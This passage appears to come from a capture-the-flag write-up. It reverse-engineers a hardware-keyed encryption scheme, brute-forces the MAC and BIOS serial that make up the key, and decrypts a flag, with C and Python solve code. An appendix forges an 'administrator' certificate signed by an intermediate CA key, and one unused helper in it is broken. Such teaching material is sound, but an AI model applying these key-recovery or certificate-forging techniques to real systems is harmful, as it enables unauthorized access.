  3. If we can identify the manufacturer, we can reduce the search space to three bytes.

A large list of MAC manufacturers and IDs can be found here. From that list, two seems to match the "Or... Po..." pattern:

8CF813 ORANGE POLSKA
001337 Orient Power Home Network Ltd.

Out of the two, the second options seems much more realistic, not only because it ends with "Ltd.", but also because it has the valuable ID of 1337.

Now we can brute force the remainder much faster:

mac_prefix = (0x00, 0x13, 0x37)
with open("phase1.bin", "rb") as f:
        readXorInt(f, 0) # Dummy read, we already have the dd_serial

        padded_md5 = bytearray()
        for i in range(4 * 2):
            dword = readXorInt(f, 0)
            padded_md5 += dword.to_bytes(4, byteorder='little')

        padded_md5 = binascii.hexlify(padded_md5)
        assert (padded_md5[::2] == b"0" * 32)
        md5 = padded_md5[1::2]
        print("MD5: {}".format(md5))
        mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5)
        mac_hex = binascii.hexlify(bytes(mac))
        print ("MAC Address: {}".format(mac_hex))

The result:

Disk drive serial: 0x30303030
MD5: b'0949b46b73e3af6f5afc81955367295c'
MAC Address: b'0013378eab66'

Another piece of information we can extract is the length of the AES-256 encrypted buffer.

encrypted_size = 0;
encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size);
//...
sVar1 = encrypted_size;
//...
iVar5 = sVar1 + 2988;
*output_len = iVar5;

The length of the output file is 2988 bytes larger than the length of the AES-256 input buffer (which is the size of the input file + AES block alignment).

encrypted_length = os.fstat(f.fileno()).st_size - 2988
print ("Length of encrypted message: {}".format(encrypted_length))

Now it's time to start to extract the ciphertext, while skipping the garbled DWORDs.

We know that immediately after the padded MD5 we have a garbled DWORD, then a chunk of ciphertext, then another garbled DWORD, a chunk of ciphertext and so on.

The chunk size is calculated as follows:

uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f);
//...
iVar5 = (uVar8 >> 0x1f) + uVar8;
uVar8 = iVar5 + 1;
//...
iVar5 = encrypted_size + iVar5 * -0x2e3;
//...
if (counter == iVar5) { // Happens within the copy loop
    uVar8 = uVar8 - 1;
}

If we calculate this for our encrypted size, we get:

>>> encrypted_size = 35936
>>> uVar8 = encrypted_size // 0x2e3 + (encrypted_size >> 0x1f)
>>> iVar5 = (uVar8 >> 0x1f) + uVar8
>>> uVar8 = iVar5 + 1
>>> iVar5 = encrypted_size + iVar5 * -0x2e3
>>> uVar8
49
>>> iVar5
464
`

We use this to read the ciphertext:

def get_size_and_decrement_index(encrypted_length):
    size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f)
    decrement_index = (size >> 0x1f) + size
    size = decrement_index + 1
    decrement_index = encrypted_length + decrement_index * -0x2e3

    return (size, decrement_index)

ciphertext = bytearray()
bytes_read = 0
i = 0
size, decrement_index = get_size_and_decrement_index(encrypted_length)
while bytes_read < encrypted_length:
    if i == decrement_index:
        size -= 1
    garble = readXorInt(f, 0)
    ciphertext += f.read(size)
    bytes_read += size
    i += 1

Now we have the ciphertext, and almost all of the key. It's time to get the rest of the key and decrypt the text file.

The key is composed of:

MAC[0:6] + BIOS_SERIAL[0:4] + DISK_DRIVE_SERIAL[0:4]

We have the MAC address and the disk driver serial, how do we find the BIOS serial?

We'll, in this case we'll have to apply some brute force. The only other place where the BIOS serial is used is as the initial value for the garble_buf() function, which produces output that is consumed by other_garble() and at least on the surface seems irreversible. The result of other_garble() is a DWORD which serves as a delimiter for ciphertext chunks.

Instead of trying to build our way back from the garbled DWORD to the original initial value, let's work the other way around and try to find an initial value which will produce the garbled DWORD we see in the encrypted file.

The first DWORD starts at 0x24 and has the value of 0x00BB65FE.

We'll use the following C code to find the initial value that will produce it:


#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <stdint.h>
#include <assert.h>


uint32_t DAT_0041e8c0[] = { 0x00, 0x00, 0x00, 0x00, 0xdf, 0xb0, 0x08, 0x99 };

void garble_buf(uint32_t *buffer, uint32_t initial_value)

{
    *buffer = initial_value;
    buffer[0x270] = 1;
    do {
        buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5;
        buffer[0x270] = buffer[0x270] + 1;
    } while ((int)buffer[0x270] < 0x270);
    return;
}

uint32_t other_garble(uint32_t *garbled_buf_copy)

{
    uint32_t uVar1;
    int i;

    if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
        if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
            garble_buf(garbled_buf_copy, 0x1105);
        }
        i = 0;
        while (i < 0xe3) {
            garbled_buf_copy[i] =
                (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
                garbled_buf_copy[i + 0x18d] ^
                *(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
            i = i + 1;
        }
        while (i < 0x26f) {
            garbled_buf_copy[i] =
                (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
                garbled_buf_copy[i + -0xe3] ^
                *(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
            i = i + 1;
        }
        garbled_buf_copy[0x26f] =
            (garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^
            garbled_buf_copy[0x18c] ^ *(uint32_t *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4);
        garbled_buf_copy[0x270] = 0;
    }
    uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]];
    garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1;
    uVar1 = uVar1 >> 0xb ^ uVar1;
    uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1;
    uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1;
    return uVar1 >> 0x12 ^ uVar1;
}

uint32_t buffer[0x271];

uint32_t get_garbled_output(uint32_t initial_value)
{
    uint32_t res;

    garble_buf(buffer, initial_value);
    res = other_garble(buffer);
    return res;
}

const char letters[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";

#define NELEMENTS(arr) (sizeof(arr) / sizeof(arr[0]))

int main(int argc, _TCHAR* argv[])
{
    DWORD i, j, k, l;
    DWORD num;

    CHAR* pNum = (CHAR*)&num;
    assert(get_garbled_output(0x46303952) == 0x098A04B2);

    if (argc < 2)
    {
        _tprintf(_TEXT("Usage: %s <initial_value>\n"), argv[0]);
        return 1;
    }

    DWORD target;
    target = _ttoi(argv[1]);

    _tprintf(_T("Searching for an initial value which would have produced the following value: %d (0x%x)\n"), target, target);

    DWORD limit = NELEMENTS(letters);
    for (i = 0; i < limit; ++i)
    {
        pNum[0] = letters[i];
        for (j = 0; j < limit; ++j)
        {
            pNum[1] = letters[j];
            for (k = 0; k < limit; ++k)
            {
                pNum[2] = letters[k];
                for (l = 0; l < limit; ++l)
                {
                    pNum[3] = letters[l];
                    if (get_garbled_output(num) == target) 
                    {
                        _tprintf(_T("0x%x\n"), num);
                        return 0;
                    }
                }

            }
        }
    }

    return 0;
}

A few comments about the code:

  1. garble_buf and other_garble are pretty much copy-paste from Ghidra's decompilation output.
  2. The code can be easily ported to Python but C returns the result much faster.
  3. Since we're talking about a serial number, we assume legal characters are mainly lowercase and uppercase letters, together with digits.

The code runs for a few seconds and outputs the following answer:

> FindGarbleInitVal.exe 12281342
Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe)
0x61774d56

We finally have the key:

0x00, 0x13, 0x37, 0x8e, 0xab, 0x66, 0x56, 0x4d, 0x77, 0x61, 0x30, 0x30, 0x30, 0x30

Now we can decrypt the file:

#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <Wincrypt.h>
#include <stdint.h>
#include <assert.h>

#pragma comment(lib,"Crypt32.lib")

#define CHUNK_SIZE        (1024)
#define PASSWORD_LENGTH (14)

void PrintError(LPCTSTR error_string, DWORD error_code)
{
    _ftprintf(stderr, TEXT("\nAn error occurred in the program. \n"));
    _ftprintf(stderr, TEXT("%s\n"), error_string);
    _ftprintf(stderr, TEXT("Error number %x.\n"), error_code);
}

int main(int argc, _TCHAR* argv[])
{
    HANDLE hSourceFile        = INVALID_HANDLE_VALUE;

    HCRYPTPROV hProv        = NULL;
    HCRYPTKEY  hKey            = NULL;
    HCRYPTHASH hHash        = NULL;

    BYTE    password[PASSWORD_LENGTH];

    BYTE    read_buffer[CHUNK_SIZE + 1] = { 0 };
    LPTSTR    src_file_path;
    LPTSTR    base64_password;

    DWORD    file_size;
    DWORD    total_bytes_read = 0;
    DWORD    size_to_decrypt = 0;
    DWORD    password_length;

    BOOL    is_final_chunk = 1;

    if (argc < 3)
    {
        _tprintf(TEXT("Usage: %s <source file> <base64_password> [size_to_decrypt]\n"), argv[0]);
        return 1;
    }

    src_file_path    = argv[1];
    base64_password = argv[2];

    if (argc >= 4)
    {
        size_to_decrypt = _ttoi(argv[3]);
    }

    password_length = sizeof(password);
    if (CryptStringToBinary(base64_password, 0, CRYPT_STRING_BASE64, password, &password_length, NULL, NULL) != TRUE)
    {
        PrintError(TEXT("Invalid password!\n"), GetLastError());
        goto exit;
    }

    hSourceFile = CreateFile(src_file_path, FILE_READ_DATA,    FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hSourceFile)
    {
        PrintError(TEXT("Error opening source file!\n"), GetLastError());
        goto exit;
    }

    file_size = GetFileSize(hSourceFile, NULL);
    if ( (size_to_decrypt <= 0) || (size_to_decrypt > file_size) )
    {
        size_to_decrypt = file_size;
    }

    if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x50) != TRUE)
    {
        PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError());
        goto exit;
    }

    if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x48) != TRUE)
    {
        PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError());
        goto exit;
    }

    if (CryptCreateHash(hProv, 0x8003, 0, 0, &hHash) != TRUE)
    {
        PrintError(TEXT("Error with CryptCreateHash!\n"), GetLastError());
        goto exit;
    }

    if (CryptHashData(hHash, (BYTE *)password, 0xe, 0) != TRUE)
    {
        PrintError(TEXT("Error with CryptHashData!\n"), GetLastError());
        goto exit;
    }

    if (CryptDeriveKey(hProv, 0x6610, hHash, 0, &hKey) != TRUE)
    {
        PrintError(TEXT("Error with CryptDeriveKey!\n"), GetLastError());
        goto exit;
    }

    while (total_bytes_read < size_to_decrypt)
    {
        DWORD bytes_to_read = min(CHUNK_SIZE, size_to_decrypt - total_bytes_read);
        DWORD bytes_read;
        DWORD data_length;

        if (ReadFile(hSourceFile, read_buffer, CHUNK_SIZE, &bytes_read, NULL) != TRUE)
        {
            PrintError(TEXT("Error reading source file!\n"), GetLastError());
            goto exit;
        }

        is_final_chunk = total_bytes_read + bytes_read == file_size;
        data_length = bytes_read;
        if (CryptDecrypt(hKey, 0, is_final_chunk, 0, read_buffer, &data_length) != TRUE)
        {
            PrintError(TEXT("Error decrypting file!\n"), GetLastError());
            goto exit;
        }
        _tprintf("%s", read_buffer);
        total_bytes_read += bytes_read;
    }

    _tprintf("\n");

exit:
    if (hKey != NULL)
    {
        CryptDestroyHash(hKey);
    }

    if (hHash != NULL)
    {
        CryptDestroyHash(hHash);
    }

    if (hProv != NULL)
    {
        CryptReleaseContext(hProv, 0);
    }

    if (hSourceFile != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hSourceFile);
    }

    return 0;
}

The final script to decrypt the encrypted file is:

import os
import string
import base64
import hashlib
import binascii
import itertools
import subprocess
from simple_cache import cache_result

MAGIC = 0x531b008a

input_filename = "intel.txt"
output_filename = "intel.txt.enc"
mac_prefix = (0x00, 0x13, 0x37)

@cache_result
def find_md5(prefix1, prefix2, num_missing_chars, expected_md5):
    expected_md5 = expected_md5.decode("ascii")
    prefix = bytearray(prefix1, "ascii") + bytearray(prefix2)
    for item in itertools.product([x for x in range(256)], repeat=num_missing_chars):
        hash = hashlib.md5(prefix + bytearray(item)).hexdigest()
        if hash == expected_md5:
            return item

    return None

def readXorInt(f, xor):
    b = f.read(4)
    if not b:
        return None
    res = int.from_bytes(b, byteorder="little")  ^ xor
    return res

def get_size_and_decrement_index(encrypted_length):
    size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f)
    decrement_index = (size >> 0x1f) + size
    size = decrement_index + 1
    decrement_index = encrypted_length + decrement_index * -0x2e3

    return (size, decrement_index)


def main():
    with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o:
        dd_serial = readXorInt(f, MAGIC)
        print ("Disk drive serial: {}".format(hex(dd_serial)))

        o.write(MAGIC.to_bytes(4, byteorder="little"))
        while True:
            res = readXorInt(f, dd_serial)
            if res is None:
                break
            o.write(res.to_bytes(4, byteorder="little"))


    with open("phase1.bin", "rb") as f, open("phase2.bin", "wb") as o:
        encrypted_length = os.fstat(f.fileno()).st_size - 2988
        print ("Length of encrypted message: {}".format(encrypted_length))

        readXorInt(f, 0) # Dummy read, we already have the dd_serial

        padded_md5 = bytearray()
        for i in range(4 * 2):
            dword = readXorInt(f, 0)
            padded_md5 += dword.to_bytes(4, byteorder='little')
        padded_md5 = binascii.hexlify(padded_md5)
        assert (padded_md5[::2] == b"0" * 32)
        md5 = padded_md5[1::2]
        print("MD5: {}".format(md5))
        mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5)
        mac_hex = binascii.hexlify(bytes(mac))
        print ("MAC Address: {}".format(mac_hex))

        garbles = []
        ciphertext = bytearray()
        bytes_read = 0
        i = 0

        size, decrement_index = get_size_and_decrement_index(encrypted_length)

        while bytes_read < encrypted_length:
            if i == decrement_index:
                size -= 1
            garbles.append(readXorInt(f, 0))

            ciphertext += f.read(size)
            bytes_read += size
            i += 1

        o.write(ciphertext)

    bios_serial_search = subprocess.check_output([r"FindGarbleInitVal.exe", str(garbles[0])]).decode("ascii")
    print (bios_serial_search)
    bios_serial = int(bios_serial_search.split("\n")[1], 0)

    password = bytes(mac) + bios_serial.to_bytes(4, byteorder='little') + dd_serial.to_bytes(4, byteorder='little')
    print ("Password: {}".format(binascii.hexlify(password)))

    plaintext_chunk = subprocess.check_output([r"CryptDecrypt.exe", 
                                               "phase2.bin", 
                                               base64.b64encode(password).decode("ascii"),
                                               "1024"])
    print ("Output: \n")
    print (plaintext_chunk.decode("ascii"))



if __name__ == "__main__":
    main()

The output (we cut the plaintext at 1024 bytes since otherwise we get ~36K of padding):

python solve.py
Disk drive serial: 0x30303030
Length of encrypted message: 35936
MD5: b'0949b46b73e3af6f5afc81955367295c'
MAC Address: b'0013378eab66'
Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe)
0x61774d56

Password: b'0013378eab66564d776130303030'
Output:

OUR BIG SECRET IS AT 9f96b2ea3bf3432682eb09b0bd213752.xyz/be76e422d6ae42138d73f664e6bb9054
PADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGP

Appendix A

Since it's a nightmare using the OpenSSL command line, the following script can be used to sign certificates in a much more intuitive way:

import datetime

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes

def create_self_signed_cert():
     # create a key pair
     k = crypto.PKey()
     k.generate_key(crypto.TYPE_RSA, 2048)

     # create a self-signed cert
     cert = crypto.X509()
     cert.get_subject().O = 'Org'
     cert.get_subject().OU = 'Org Unit'*50
     cert.get_subject().CN = 'Common Name'
     cert.set_serial_number(1000)
     cert.gmtime_adj_notBefore(0)
     cert.gmtime_adj_notAfter(10*365*24*60*60)
     cert.set_issuer(cert.get_subject())
     cert.set_pubkey(k)
     cert.sign(k, 'sha256')

     open("self_signed.pem", "w").write(
         crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
     open("self_signed_key.pem", "w").write(
         crypto.dump_privatekey(crypto.FILETYPE_PEM, k))

leaf_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=4096,
    backend=default_backend())

with open("leaf_key.pem", "wb") as f:
    f.write(leaf_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.TraditionalOpenSSL,
        encryption_algorithm=serialization.BestAvailableEncryption(b"pass"),))

with open("intermediate_key.pem", "rb") as key_file:
    ca_key = serialization.load_pem_private_key(
            key_file.read(),
            password=None,
            backend=default_backend())

cert_req = x509.Name([
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Evil Corporation"),
        x509.NameAttribute(NameOID.COMMON_NAME, u"administrator")
    ])

with open("intermediate.pem", "rb") as cer_file:
    ca_cert = x509.load_pem_x509_certificate(cer_file.read(), default_backend())


backend = default_backend()

cert = x509.CertificateBuilder().subject_name(
    cert_req
).issuer_name(
    ca_cert.subject
).public_key(
    leaf_key.public_key()
).serial_number(
    x509.random_serial_number()
).not_valid_before(
    datetime.datetime.utcnow()
).not_valid_after(
    datetime.datetime.utcnow() + datetime.timedelta(days=356)
).add_extension(
    x509.BasicConstraints(ca=False, path_length=None),
    critical=False,
).add_extension(
    x509.SubjectKeyIdentifier.from_public_key(leaf_key.public_key()),
    critical=False,
).add_extension(
    x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_key.public_key()),
    critical=False,
).sign(ca_key, hashes.SHA256(), backend)
# Write our certificate chain to disk.
#with open("certificate{}.pem".format(i), "wb") as f:
#    f.write(cert_arr[i].public_bytes(serialization.Encoding.PEM) + ''.join([cert_arr[j].public_bytes(serialization.Encoding.PEM) for j in range(i-1, -1, -1)]))

with open("leaf.pem", "wb") as f:
    f.write(cert.public_bytes(serialization.Encoding.PEM))